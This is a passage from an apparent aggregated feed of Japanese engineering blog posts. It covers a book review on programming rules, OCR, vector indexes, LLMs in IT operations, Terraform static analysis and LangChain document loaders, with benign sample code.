実装}この変更は単純ですが、大規模なコードベースでは膨大な時間がかかる可能性があります。しかし、著者の指摘通り、この作業を避けることは長期的には問題を引き起こす可能性が高いです。バグの修正と波及効果著者は、一つのバグを修正した際に、同様のバグが他の箇所にも存在する可能性を指摘しています。これは重要な指摘で、セキュリティ問題などで特に注意が必要です。例えば、データベースクエリのSQLインジェクション脆弱性を発見した場合、同様の脆弱性が他の箇所にも存在する可能性を考え、コードベース全体を調査する必要があります。この調査と修正作業は退屈で時間がかかりますが、セキュリティ上重要です。自動化の誘惑著者は、退屈な作業に直面したときに、多くのプログラマーが自動化を試みる傾向があることを指摘しています。自動化は確かに強力ですが、それが本当に必要かどうかを冷静に判断することが重要です。例えば、コードフォーマットの問題に直面したとき、すぐにカスタムツールの開発に飛びつくのではなく、まず既存のツール(Goならgofmtやgoimports)を活用することを検討すべきです。ファイルサイズの管理著者は、ソースファイルが時間とともに大きくなっていく問題に言及しています。これは多くの開発者が経験する問題で、巨大なファイルはコードの理解を難しくします。Goの場合、パッケージレベルでの分割やインターフェースを活用したモジュール化が効果的な解決策となります。例えば:// main.gopackage mainimport ( \\"myapp/user\\" \\"myapp/order\\")func main() { // メイン処理}// user/user.gopackage usertype Service struct { // ユーザー関連の処理}// order/order.gopackage ordertype Service struct { // 注文関連の処理}このようなアプローチは、コードの管理を容易にし、チームの生産性を向上させます。まとめ「Sometimes You Just Need to Hammer the Nails」の原則は、ソフトウェア開発における地道な作業の重要性を強調しています。この原則は、特に大規模で長期的なプロジェクトにおいて重要です。プログラマーの三大美徳(怠慢、短気、傲慢)と組み合わせて考えると、この原則の重要性がより明確になります。地道な作業を避けないことは、長期的には効率を向上させ(怠慢)、将来の問題を予防し(短気)、高品質なコードを維持する(傲慢)ことにつながります。著者の提案するアプローチは、現代の開発環境、特にアジャイル開発やデブオプスの文脈で重要です。継続的インテグレーションや継続的デリバリーの実践において、小さな改善や修正を積み重ねることの重要性は増しています。しかし、ただ単に退屈な作業をこなすだけでは不十分です。重要なのは、これらの作業がプロジェクト全体にどのような影響を与えるかを理解し、戦略的に取り組むことです。例えば、レガシーコードの段階的な改善や、技術的負債の計画的な返済などが考えられます。この原則は特にチーム全体の文化と密接に関連しています。「退屈な作業も重要だ」という認識をチーム全体で共有し、それを評価する文化を築くことが、長期的には大きな差を生みます。例えば、週に1日を「技術的負債の返済日」として設定し、チーム全体でリファクタリングや文書化、テストカバレッジの向上などに取り組むことで、長期的にはコードの品質向上と開発速度の維持につながります。最後に、この章から学んだ最も重要な教訓は、短期的な不快感と長期的な利益のバランスを取ることの重要性です。退屈な作業を避けることで得られる一時的な快感よりも、それを適切に行うことで得られる長期的な利益の方がはるかに大きいのです。今後のプロジェクトでは、この原則を念頭に置きつつ、チーム全体で地道な作業の重要性を認識し、それを効果的に進める方法を模索していくことが重要です。おわりに本書は、長年のゲーム開発経験から抽出された貴重な知恵の宝庫です。本書で提示された21のルールは、プログラミングの技術的側面だけでなく、ソフトウェア開発のプロセス全体に適用できる普遍的な価値を持っています。しかし、著者が強調しているように、これらのルールを鵜呑みにするのではなく、批判的に考え、自身の環境に適応させることが重要です。技術の進歩や開発手法の変化に伴い、プログラミングの原則も進化していく必要があります。本書を読んで、私は自身のコーディング習慣や設計アプローチを見直すきっかけを得ました。同時に、チーム全体でこれらの原則について議論し、共通の理解を築くことの重要性を再認識しました。最後に、本書はプログラミングの技術書であると同時に、ソフトウェア開発の哲学書でもあります。単に「どのようにコードを書くか」だけでなく、「なぜそのようにコードを書くべきか」について深く考えさせられます。この本は、経験レベルに関わらず、すべてのプログラマーにとって価値ある一冊だと確信しています。今後も、この本で学んだ原則を実践しながら、自身の経験を通じてさらに理解を深めていきたいと思います。エンジニアはソフトスキルよりもハードスキルを磨くべきであり、昔読んだリーダブルコードばかり紹介せずに、新しい知見を学び続けることが重要です。常に進化する技術に対応するため、新しい知識を積極的に吸収していく姿勢が必要不可欠だと考えています。みなさん、最後まで読んでくれて本当にありがとうございます。途中で挫折せずに付き合ってくれたことに感謝しています。読者になってくれたら更に感謝です。Xまでフォロワーしてくれたら泣いているかもしれません。","link":"https://syu-m-5151.hatenablog.com/entry/2024/09/15/151738","isoDate":"2024-09-15T06:17:38.000Z","dateMiliSeconds":1726381058000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Platform Engineering の視点から考える、Kubernetes Load Balancing の比較","contentSnippet":"自己紹介 井上 裕介 千葉工業大学 情報科学部 情報工学科 学部4年の井上裕介と申します。大学では主に遺伝的アルゴリズムの改良に関する研究を行っています。2023年のサマーインターンから引き続きSreake事業部にて技術 […]The post Platform Engineering の視点から考える、Kubernetes Load Balancing の比較 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/kubernetes-load-balancing-comparison-on-platform-engineering-view-point/","isoDate":"2024-09-13T02:59:01.000Z","dateMiliSeconds":1726196341000,"authorName":"Sreake","authorId":"Sreake"},{"title":"スリーシェイク、 Google Cloud Partner Advantage プログラムにおいて「DevOps – サービス」のスペシャライゼーション認定を取得","contentSnippet":"Google Cloud Sell および Service エンゲージメントモデルのプレミアパートナーである株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)は、Google Cloud Partner Advantage プログラムにおいて、「DevOps - サービス」のスペシャライゼーション認定を取得したことをお知らせします。The post スリーシェイク、 Google Cloud Partner Advantage プログラムにおいて「DevOps – サービス」のスペシャライゼーション認定を取得 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/google-cloud-partner-advantage-devops/","isoDate":"2024-09-13T01:00:00.000Z","dateMiliSeconds":1726189200000,"authorName":"Sreake","authorId":"Sreake"},{"title":"AIを用いたOCR","contentSnippet":"OCRとは、Optical Character Recognitionの略で、日本語では光学文字認識といいます。OCRとは何か?OCRは、スキャンした書類や画像に含まれる文字を、コンピュータが読み取り、テキストデータに変換する技術です。つまり、紙に書かれた文字をデジタルの文字に変えて、パソコンで編集したり、検索したりできるようにするものです。OCRの仕組み画像の取り込み: スキャナーやデジタルカメラで、文字が書かれた紙の画像を撮影します。画像の前処理: 画像のノイズ除去や歪みの修正など、文字認識を円滑に行うための処理を行います。文字の切り出し: 画像から文字を一つずつ切り出します。文字の認識: 切り出した文字を、事前に登録された文字のパターンと照合し、どの文字か判定します。テキストデータへの変換: 認識された文字を、テキストデータに変換します。OCRの活用例書類のデジタル化: 紙の書類をスキャンしてテキストデータに変換することで、電子化し、保管や検索を効率化できます。データ入力の自動化: 請求書や領収書などの文字情報を自動的に読み込むことで、データ入力の手間を大幅に削減できます。検索の効率化: テキストデータに変換された文書は、キーワード検索が可能になり、必要な情報に素早くアクセスできます。翻訳: OCRでテキストデータに変換した後に、翻訳ソフトウェアを使って他の言語に翻訳することができます。OCRのメリット作業の効率化: 手作業でのデータ入力に比べて、大幅に作業時間を短縮できます。正確性の向上: 人による入力ミスを減らすことができ、データの正確性を高めます。コスト削減: 人件費の削減につながります。ペーパーレス化: 紙の書類を電子化することで、保管スペースを削減し、環境にも優しいです。OCRの種類OCRには、大きく分けて以下の2種類があります。OCRエンジン: ソフトウェア開発者が、OCR機能を自社のアプリケーションに組み込むために利用するソフトウェアです。OCRサービス: クラウド上で提供されるOCR機能で、APIなどを利用して簡単にOCR機能を導入できます。OCRの選び方OCRを選ぶ際には、以下の点に注意しましょう。認識精度: どの程度の精度で文字を認識できるか。対応言語: どの言語に対応しているか。対応フォント: どのフォントに対応しているか。対応ファイル形式: どのファイル形式に対応しているか。価格: 有料か無料か、料金体系はどうか。AIを用いたOCRcloud.google.comGoogle CloudなどパブリッククラウドでOCR機能が提供されています。Geminiで使用することもできます。OCRの活用の幅が広がり、工数削減に役立ちそうですね。まとめOCRは、紙の文書をデジタル化し、業務効率化に貢献する便利な技術です。様々な分野で活用されており、今後もその重要性はますます高まっていくでしょう。","link":"https://shu-kob.hateblo.jp/entry/2024/09/11/223456","isoDate":"2024-09-11T13:34:56.000Z","dateMiliSeconds":1726061696000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Apple Intelligence触ってみたい","contentSnippet":"k-tai.watch.impress.co.jpiPhone16で、Apple Intelligenceという名の生成AIが搭載されるようですね。Xなどではいまいち、盛り上がりに欠けているものの、生成AIを生業にするものとしては、触ってみたいです。Google PixelがGeminiを搭載したAIスマホとして売り出されていますが、iPhone・Apple Watch・Macユーザとしては、引き続きiPhoneですかね。Geminiは好きなので、Google Pixel欲しい気もしますがww","link":"https://shu-kob.hateblo.jp/entry/2024/09/10/235654","isoDate":"2024-09-10T14:56:54.000Z","dateMiliSeconds":1725980214000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"GKE Observabilityツール – Cloud Service MeshとCiliumの比較","contentSnippet":"はじめに extended Berkley Packet Filter (eBPF) は、Linuxのカーネルに組み込まれた技術で、カーネルに直接変更を加えることなくプログラムを安全にカーネル内で実行することを可能にしま […]The post GKE Observabilityツール – Cloud Service MeshとCiliumの比較 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/cloud-service-mesh-cilium-comparison/","isoDate":"2024-09-09T04:55:11.000Z","dateMiliSeconds":1725857711000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Cloud MonitoringおよびCloud Loggingを用いた監視とアラート通知","contentSnippet":"はじめに はじめまして。Sreake事業部インターン生の高島です。2023年10月から長期インターン生としてKubernetes関連技術の習得とSRE技術の調査・検証を行っています。普段は、情報系の大学院生で、数値解析に […]The post Cloud MonitoringおよびCloud Loggingを用いた監視とアラート通知 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/monitoring-and-alerting-with-cloud-monitoring-and-cloud-logging/","isoDate":"2024-09-09T01:05:46.000Z","dateMiliSeconds":1725843946000,"authorName":"Sreake","authorId":"Sreake"},{"title":"生成AIにおけるベクトルインデックス","contentSnippet":"生成AIにおけるベクトルインデックス:詳細解説ベクトルインデックスとは?ベクトルインデックスは、生成AIにおいて、テキスト、画像、音声などの非構造化データを、数値のベクトルに変換し、そのベクトル間の類似度に基づいて検索や推薦を行うための技術です。なぜベクトルに変換するのか?意味の理解: 単語の並びだけでなく、単語間の関係性や文脈を数値として表現することで、コンピュータがより深くテキストの意味を理解できるようになります。高速な検索: 高次元空間上のベクトル間の距離を計算することで、従来のキーワード検索よりも高速かつ正確に類似したデータを検索できます。多様なデータの統合: テキストだけでなく、画像や音声などもベクトルに変換することで、異なる種類のデータを統一的に扱うことができます。ベクトルインデックスの仕組みベクトル化: テキストや画像などを、ニューラルネットワークなどのモデルを用いて数値のベクトルに変換します。インデックス作成: 変換されたベクトルを、効率的に検索できるようにインデックスを作成します。ベクトル検索: ユーザーのクエリをベクトル化し、作成されたインデックスから最も類似したベクトルを検索します。ベクトルインデックスの活用事例検索エンジン: キーワードだけでなく、文章の意味に基づいたより精度の高い検索を実現します。推薦システム: ユーザーの興味関心に基づいた商品やコンテンツを推薦します。チャットボット: ユーザーの質問に対して、より自然な回答を生成します。画像検索: 画像の内容に基づいた検索や、類似画像の検索を行います。ベクトルインデックスのメリット高精度な検索: キーワードマッチングだけでなく、意味に基づいた検索が可能になります。柔軟なデータ処理: テキストだけでなく、画像や音声など、様々な種類のデータを扱えます。スケーラビリティ: 大量のデータを効率的に処理できます。ベクトルインデックスの課題次元数の呪い: 高次元空間での計算コストが大きくなることがあります。モデルの選択: どのモデルを用いてベクトルに変換するかが、性能に大きく影響します。解釈の難しさ: ベクトル表現が抽象的であり、人間が直感的に理解することが難しい場合があります。今後の展望ベクトルインデックスは、生成AIのさらなる発展に不可欠な技術です。より大規模なデータセットへの対応、より高精度なベクトル化モデルの開発、そして、ベクトル表現の解釈に関する研究が進められていくことが期待されます。具体的な活用事例eコマース: ユーザーの過去の購入履歴や検索履歴に基づいた商品推薦カスタマーサポート: チャットボットによるFAQ検索や、ユーザーの問い合わせに対する自動応答医療: 医療論文の検索や、診断支援金融: リスク評価や不正検知まとめベクトルインデックスは、生成AIの性能を飛躍的に向上させるための重要な技術です。様々な分野での応用が期待されており、今後もその重要性はますます高まっていくでしょう。さらに詳しく知りたい場合は、以下のキーワードで検索してみてください。ベクトルデータベースベクトル検索自然言語処理機械学習ニューラルネットワーク何か他に聞きたいことがあれば、お気軽にご質問ください。より具体的な質問の例:特定のベクトルデータベースについて詳しく知りたいベクトルインデックスを構築する際の注意点ベクトルインデックスを生成AIの開発にどのように活用できるかこれらの質問に対して、より詳細な情報を提供できます。","link":"https://shu-kob.hateblo.jp/entry/2024/09/06/234850","isoDate":"2024-09-06T14:48:50.000Z","dateMiliSeconds":1725634130000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Cloud Run GPU + Ollama gemma2 のパフォーマンスを図ってみる","contentSnippet":"概要Google Cloud 上で申請することで、Cloud Run GPU が使えるようになったので実行してみます。https://cloud.google.com/run/docs/configuring/services/gpu?hl=ja申請フォームGoogle Cloud では以下のように、サンプルが載っているので一旦それの通りの沿って、Gemma2 を起動するアプリケーションを作成します。https://cloud.google.com/run/docs/tutorials/gpu-gemma2-with-ollama?hl=jaとはいえ、それだけだとそのまま...","link":"https://zenn.dev/satohjohn/articles/912b4c718a8d74","isoDate":"2024-09-06T08:31:03.000Z","dateMiliSeconds":1725611463000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"Cloud Operator Days Tokyo 2024 でLLMで運用を改善する時の基本のキを話してきた #CODT2024","contentSnippet":"はじめにこんにちは。今日、Cloud Operator Days 2024 クロージングイベントにて「2024年版 運用者たちのLLM」というタイトルで登壇させていただきました。この記事では、発表の内容と、それに対する反響、そして個人的な振り返りを共有したいと思います。https://cloudopsdays.com/ より引用発表資料 speakerdeck.com発表の概要今回の発表では、LLM(大規模言語モデル)が運用にもたらす可能性と課題について探りました。主に以下のポイントに焦点を当てて議論を展開しました。AIOpsの文脈におけるLLMの位置づけLLMによる運用タスクの改善インシデント対応ドキュメンテーションコード分析LLM活用における課題「幻覚」問題不完全性とバイアス効果的なLLM活用のための戦略適切な利用方法プロンプトエンジニアリングの重要性発表タイトルを「2024年版 運用者たちのLLM」としたのには、理由があります。AIOpsが流行した際に見られた議論が、LLMについても繰り返されているなぁと感じたからです。仕方ないのですが新しい技術が登場するたびに、その可能性と課題について同様の議論が繰り返されます。この観察から、LLMの運用への適用についても、過去の教訓を活かしつつ、冷静に評価することの重要性を強調したいと考えました。技術の進化は確かに速いですが、基本的な課題や考慮すべき点は、意外にも変わらないことが多いのです。そのため、この発表ではLLMの新しい部分を認識しつつも、過去の類似技術の導入事例から学び、より成熟したアプローチで運用に活かす方法を提案することを目指しました。LLMがもたらす可能性LLMは、自然言語処理能力と豊富な知識ベースを活かして、運用の様々な側面を改善する可能性を秘めています。例えば:インシデント対応:過去の類似事例の迅速な検索と解決策の提案ドキュメンテーション:自動生成や更新、整理による効率化コード分析:バグの検出、最適化の提案、セキュリティ脆弱性の指摘これらでは、運用チームの生産性向上と、人間のエラーを減少させることが期待できます。課題と注意点一方で、運用におけるLLMにはいくつかの重要な課題があります。「幻覚」問題:事実と異なる情報を自信を持って提示してしまう不完全性:最新の情報や専門的な知識が不足している可能性バイアス:学習データに含まれるバイアスが出力に反映されるこれらの課題に対処するためには、LLMの出力を常に人間が検証し、適切に管理することが重要です。効果的な活用に向けてLLMを効果的に活用するためには、以下のアプローチが有効です。明確な利用ガイドラインの策定実行能力を奪っておくプロンプトエンジニアリングのスキル向上人間とLLMの協調作業モデルの確立継続的な学習と改善のプロセス導入反響と今後の展望発表後、参加者から興味深いフィードバックをいただきました。特に、LLMの実際の運用現場での活用事例や、課題への具体的な対処法に関する質問が多く寄せられました。これらの反応から、運用におけるLLM活用はまだ発展途上であり、多くの企業や組織、個人がまだまだ試行錯誤の段階にあることがわかりました。今後は、より具体的な事例研究や、ベストプラクティスの共有が求められると感じています。さいごにLLMは確かに素晴らしい技術ですが、万能ではありません。現段階だと人間の専門知識や判断力と組み合わせることで、初めてその真価を発揮します。今後も、LLMと運用の関係性について研究を続け、自動化の楽しさを紹介していきたいと考えています(ホンマか??)。","link":"https://syu-m-5151.hatenablog.com/entry/2024/09/06/154607","isoDate":"2024-09-06T06:46:07.000Z","dateMiliSeconds":1725605167000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"2024年版 運用者たちのLLM","contentSnippet":"Cloud Operator Days 2024 クロージングイベント\\rhttps://cloudopsdays.com/closing/\\r\\rとても、端的に言うと「プロンプトエンジニアリングをしよう」って話。\\rこの発表資料は、LLM(大規模言語モデル)によるIT運用の可能性と課題を探っています。AIOpsの概念を基に、LLMがインシデント対応、ドキュメンテーション、コード分析などの運用タスクをどのように改善できるかを説明しています。同時に、LLMの「幻覚」や不完全性といった課題も指摘し、適切な利用方法やプロンプトエンジニアリングの重要性を強調しています。\\r\\r登壇時ブログ\\rhttps://syu-m-5151.hatenablog.com/entry/2024/09/06/154607","link":"https://speakerdeck.com/nwiizo/2024nian-ban-yun-yong-zhe-tatinollm","isoDate":"2024-09-06T04:00:00.000Z","dateMiliSeconds":1725595200000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Anker Soundcore Space A40を買った(True wireless earphone)","contentSnippet":"Anker Soundcore Space A40を買いました。https://www.ankerjapan.com/products/a3936前から使ってみたかったところに、Amazonのセールで¥12,990 -> ¥8,990と安くなってたので、購入を決意。対抗馬は横向きで寝ててても使いやすいっぽい Anker Soundcore Sleep A20 でした。ただ、Sleep A20はセールしていなかったのと、私が寝るときはだいたい寝る時は仰向けスタートなので、Space A40でよかろうと判断。","link":"https://blog.atusy.net/2024/09/06/anker-soundcore-a40/","isoDate":"2024-09-06T00:00:00.000Z","dateMiliSeconds":1725580800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"zfをline-wise化して直感的な挙動にするマッピング","contentSnippet":"zfがline-wiseに作用するようnnoremap zf zfVやvnoremap zf mode() ==# \'V\' ? \'zf\' : \'Vzf\'しとくと便利","link":"https://blog.atusy.net/2024/09/06/linewise-zf/","isoDate":"2024-09-06T00:00:00.000Z","dateMiliSeconds":1725580800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Google Cloud Gemini向けの生成AIのプロンプトエンジニアリング","contentSnippet":"cloud.google.com生成AIのプロンプトエンジニアリングは様々な手法がありますが、Gemini for Google Cloudなんて出ているのですね。Google Cloud のプロダクトとサービスに関しては、Geminiは学習済のようで、詳しいようです。読んで勉強したいと思います。","link":"https://shu-kob.hateblo.jp/entry/2024/09/05/235035","isoDate":"2024-09-05T14:50:35.000Z","dateMiliSeconds":1725547835000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Mini-Omni OSSでSpeech-to-Speechができるようになる?","contentSnippet":"arxiv.orgGPT-4oの進化系で、リアルタイム音声会話のできる生成AIがOSSで出たようです。github.comその名もMini-Omni。小型モデルでどうリアルタイム音声会話を実現したのか興味深いですね。生成AIでリアルタイム音声会話は難しく、Speech-to-Text-to-Speechという変換手順を踏む必要があり、時間がかかっていたところ、リアルタイム、つまりSpeech-to-Speechで早く処理できるようになった、ということですね。ぜひ論文を読んでみたいと思います。以下、AbstractをGeminiで訳してみました。(OpenAIちゃうんかいw)言語モデルの進歩とMini-Omni言語モデルの最近の進歩は、大きな成果を上げています。GPT-4oは新たなマイルストーンとして、人間とのリアルタイム会話が可能となり、人間に近い自然な流暢さを示しています。このような人間とコンピュータのインタラクションを実現するには、音声モダリティで直接推論を行い、ストリーミングで出力生成できるモデルが必要となります。しかし、これは現在の学術的なモデルではまだ実現できていません。これらのモデルは通常、音声合成のために追加のTTSシステムに依存しており、望ましくない遅延が生じます。本論文では、リアルタイム音声インタラクションが可能なオーディオベースのエンドツーエンド会話モデルであるMini-Omniを紹介します。この機能を実現するために、テキスト指示による音声生成方法と、推論時のバッチ並列戦略を提案しています。この手法は、元のモデルの言語能力を最小限の劣化で保持するのに役立ち、他の研究がリアルタイムインタラクション機能を確立できるようにします。このトレーニング方法を「Any Model Can Talk」と呼んでいます。また、音声出力を最適化したモデルをファインチューニングするためのVoiceAssistant-400Kデータセットも紹介します。私たちの知る限り、Mini-Omniはリアルタイム音声インタラクションのための最初の完全なエンドツーエンド、オープンソースモデルであり、今後の研究に貴重な可能性を提供します。","link":"https://shu-kob.hateblo.jp/entry/2024/09/04/233919","isoDate":"2024-09-04T14:39:19.000Z","dateMiliSeconds":1725460759000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Google Cloudの生成AIサンプルアプリEnterprise Knowledge Solution (EKS)","contentSnippet":"github.comGoogle Cloudの生成AIサンプルアプリ「Enterprise Knowledge Solution」 (EKS)がGitHubで公開されています。EKSはAmazon Elastic Kubernetes Serviceと紛らわしい(苦笑)「Enterprise Knowledge Solution」 はIAPとCloud RunベースでUI付きの生成AIアプリケーションをさっとデプロイできるようです。私はまだ試せていないですが、是非とも触ってみたいですね。terraformでデプロイできる模様。これは面白そう。コードも参考になりそうですね。","link":"https://shu-kob.hateblo.jp/entry/2024/09/03/235705","isoDate":"2024-09-03T14:57:05.000Z","dateMiliSeconds":1725375425000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Github Actions で見る tfsec と Trivy の今 ~ Terraform 静的解析","contentSnippet":"Github Actionsでtfsecを実装する際に、以下を発見して良いなと思ったので試してみたhttps://tech.crassone.jp/posts/how_tfsec-pr-commenter-action_was_introduced_to_significantly_reduce_the_execution_time_of_terraform_security_scans# https://aquasecurity.github.io/tfsec/v1.0.11/getting-started/configuration/github-actions/pr-comme...","link":"https://zenn.dev/yokoo_an209/articles/trivy-for-terraform","isoDate":"2024-09-03T14:17:49.000Z","dateMiliSeconds":1725373069000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"Github ActionsでCross ProjectのDirect Workload Identity Federationを試す","contentSnippet":"はじめに現在、Workload Identity Federation の認証は以下2種類があります。Direct Workload Identity Federation(推奨、本記事の内容)Workload Identity Federation through a Service Account(従来の方法)今回は、Github Actions上で、Direct Workload Identity Federation を使用して Google Cloud の Cross Project(プロジェクトをまたぎ)でのアクセスが可能か検証します。 Direct ...","link":"https://zenn.dev/yokoo_an209/articles/direct-workloadidentity-federation","isoDate":"2024-09-03T02:12:47.000Z","dateMiliSeconds":1725329567000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"LangChain Meetup Tokyo #2に登壇し、LangChainでWebサイトの内容取得やGitHubソースコード取得、というタイトルで発表しました","contentSnippet":"langchain.connpass.comLangChain Meetup Tokyo #2に登壇してきました。私は「LangChainでWebサイトの内容取得やGitHubソースコード取得」というタイトルで発表しました!次は @shu_kob によるLangChainでWebサイトの内容取得やGitHubソースコード取得\uD83D\uDC4F #LangChainJP pic.twitter.com/ryvFxqv6M1— こぎそ | Algomatic (@kgsi) 2024年9月2日 写真撮っていただけてました。ありがとうございます。ChatGPT/LangChainによるチャットシステム構築[実践]入門作者:吉田 真吾,大嶋 勇樹技術評論社Amazon「ChatGPT/LangChainによるチャットシステム構築[実践]入門」の著者、吉田 真吾さん、大嶋 勇樹さんにもお会いできました。お二人の会社、株式会社ジェネラティブエージェンツのCEO西見公宏さんにもお会いでき、コロッケそばさん、技術者としてステキ‼️ #langchainjp pic.twitter.com/N1GE4ArjJ0— \uD835\uDE4E\uD835\uDE5D\uD835\uDE5E\uD835\uDE63\uD835\uDE5C\uD835\uDE64 吉田真吾 (@yoshidashingo) 2024年9月2日 65歳で登壇されたコロッケそばさんかっこよかったです! speakerdeck.com↑私の資料はこちらにアップロードしています。様々な学びがあり、もっと生成AIを頑張ろう、と思えた刺激的なMeetupでした!","link":"https://shu-kob.hateblo.jp/entry/2024/09/02/224106","isoDate":"2024-09-02T13:41:06.000Z","dateMiliSeconds":1725284466000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"LangChainでWebサイトの内容取得やGitHubソースコード取得","contentSnippet":"https://langchain.connpass.com/event/329185/\\r\\rLangChainでは、Webサイトの内容取得やGitHubソースコード取得もできます。\\r使用してみた所感も交えてこれらの機能のご紹介をします。","link":"https://speakerdeck.com/shukob/langchaindewebsaitononei-rong-qu-de-yagithubsosukodoqu-de","isoDate":"2024-09-02T04:00:00.000Z","dateMiliSeconds":1725249600000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Project IDX での Web アプリケーション開発","contentSnippet":"概要Project IDX (以下 IDX) は Google Cloud の Cloud Workstations をベースに Google がホストする仮想実装環境を提供してくれるサービスになります。https://idx.dev/PWA 対応しているため、install して利用することが可能です。(私は、 https://open-vsx.org/extension/k--kato/intellij-idea-keybindings こちらの extensions を利用しているため keybind を考えると install したほうが扱いやすいというのがあります)...","link":"https://zenn.dev/satohjohn/articles/4e7a1e5e3140e1","isoDate":"2024-09-02T03:41:10.000Z","dateMiliSeconds":1725248470000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"LangChainでgithubリポジトリのソースコードを読む方法","contentSnippet":"shu-kob.hateblo.jp昨日の記事に関連して、今回はLangChainでgithubリポジトリのソースコードを読む方法です。github.com↑サンプルソースコードを載せています。js.langchain.com↑使い方はこちら実行例npx ts-node githubLoader.ts https://github.com/shu-kob/langchain-sample-codeDocument { pageContent: \\"import { CheerioWebBaseLoader } from \'@langchain/community/document_loaders/web/cheerio\'\\\\n\\" + \\"import { RecursiveCharacterTextSplitter } from \'@langchain/textsplitters\'\\\\n\\" + \\"import { HtmlToTextTransformer } from \'@langchain/community/document_transformers/html_to_text\'\\\\n\\" + \'\\\\n\' + \'const url = process.argv[2]\\\\n\' + \'\\\\n\' + \'async function webLoad (url: string) {\\\\n\' + \' const loader = new CheerioWebBaseLoader(url)\\\\n\' + \' const docs = await loader.load()\\\\n\' + \\" const splitter = RecursiveCharacterTextSplitter.fromLanguage(\'html\')\\\\n\\" + \' const transformer = new HtmlToTextTransformer()\\\\n\' + \' const sequence = splitter.pipe(transformer)\\\\n\' + \' const newDocuments = await sequence.invoke(docs)\\\\n\' + \\" console.log(\'newDocuments:\')\\\\n\\" + \' console.log(newDocuments)\\\\n\' + \'}\\\\n\' + \'\\\\n\' + \'webLoad(url)\\\\n\', metadata: { source: \'cheerioWebBaseLoader.ts\', repository: \'https://github.com/shu-kob/langchain-sample-code\', branch: \'main\' }, id: undefined}Document { pageContent: \\"import { GithubRepoLoader } from \'@langchain/community/document_loaders/web/github\'\\\\n\\" + \'\\\\n\' + \'const url = process.argv[2]\\\\n\' + \'\\\\n\' + \'async function readSorceCodesFromGithub(url: string) {\\\\n\' + \'\\\\n\' + \' const loader = new GithubRepoLoader(\\\\n\' + \' url,\\\\n\' + \' {\\\\n\' + \' branch: \\"main\\", // Defaultブランチが \\"master\\" でないか注意。他のブランチも選択可能\\\\n\' + \' recursive: true,\\\\n\' + \' processSubmodules: true,\\\\n\' + \' unknown: \\"warn\\",\\\\n\' + \' maxConcurrency: 5, // Defaults to 2\\\\n\' + \' ignorePaths: [\\"*.json\\", \\"*.yaml\\", \\"*.yml\\", \\"*config*\\", \\"*.md\\", \\"Dockerfile\\", \\"*ignore\\", \\".eslintrc.js\\", \\"*.svg\\"] // 除外するファイルパス\\\\n\' + \' }\\\\n\' + \' );\\\\n\' + \'\\\\n\' + \' for await (const doc of loader.loadAsStream()) {\\\\n\' + \' console.log(doc)\\\\n\' + \' }\\\\n\' + \'};\\\\n\' + \'\\\\n\' + \'readSorceCodesFromGithub(url)\\\\n\', metadata: { source: \'githubLoader.ts\', repository: \'https://github.com/shu-kob/langchain-sample-code\', branch: \'main\' }, id: undefined}Document { pageContent: \\"import * as cheerio from \'cheerio\'\\\\n\\" + \'\\\\n\' + \'const url = process.argv[2]\\\\n\' + \'\\\\n\' + \'async function webLoad (url: string) {\\\\n\' + \' // HTMLの取得\\\\n\' + \' const response = await fetch(url)\\\\n\' + \' const htmlText = await response.text()\\\\n\' + \' const cheerioText = cheerio.load(htmlText)\\\\n\' + \'\\\\n\' + \' // styleとscriptを除去\\\\n\' + \\" cheerioText(\'style\').remove()\\\\n\\" + \\" cheerioText(\'script\').remove()\\\\n\\" + \'\\\\n\' + \\" const bodyContent: string = cheerioText(\'body\').text().replace(/\\\\\\\\s+/g, \'\')\\\\n\\" + \'\\\\n\' + \\" console.log(\'bodyContent:\')\\\\n\\" + \' console.log(bodyContent)\\\\n\' + \' return bodyContent\\\\n\' + \'}\\\\n\' + \'\\\\n\' + \'webLoad(url)\\\\n\', metadata: { source: \'webLoad.ts\', repository: \'https://github.com/shu-kob/langchain-sample-code\', branch: \'main\' }, id: undefined}これらのソースコードをプロンプトに含めて、生成AIに投げます。例えば、GitHubリポジトリの仕様を聞くなどです。多くの場合、ソースコードの文量は多くなり、それなりのトークン数になるので、200万トークン対応のGemini-1.5などを使うのが良いでしょう。","link":"https://shu-kob.hateblo.jp/entry/2024/09/01/235529","isoDate":"2024-09-01T14:55:29.000Z","dateMiliSeconds":1725202529000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"LangChainでURLからWebページの中身を読み込む方法","contentSnippet":"langchain.connpass.com今度、Langchain Meetup Tokyoで喋るので、「LangChainでURLからWebページの中身を読み込む方法」を準備中github.com↑ソースコードを上げておきました。npx ts-node cheerioWebBaseLoader.ts https://shu-kob.hateblo.jp/entry/2024/08/29/234143という形で実行し、以下の結果が得られます。newDocuments:[ Document { pageContent: \'Toilを無くして徒然なるままに日暮し硯に向かひたい 読者になる Toilを無くして徒然なるままに日暮し硯に向かひたい\\\\n\' + \'生成AIアプリケーション開発などを行うエンジニアのブログです。 2024-08-29 オライリーのAWS生成AI本 AWSではじめる生成AI\\\\n\' + \'―RAGアプリケーション開発から、基盤モデルの微調整、マルチモーダルAI活用までを試して学ぶ作者:Chris 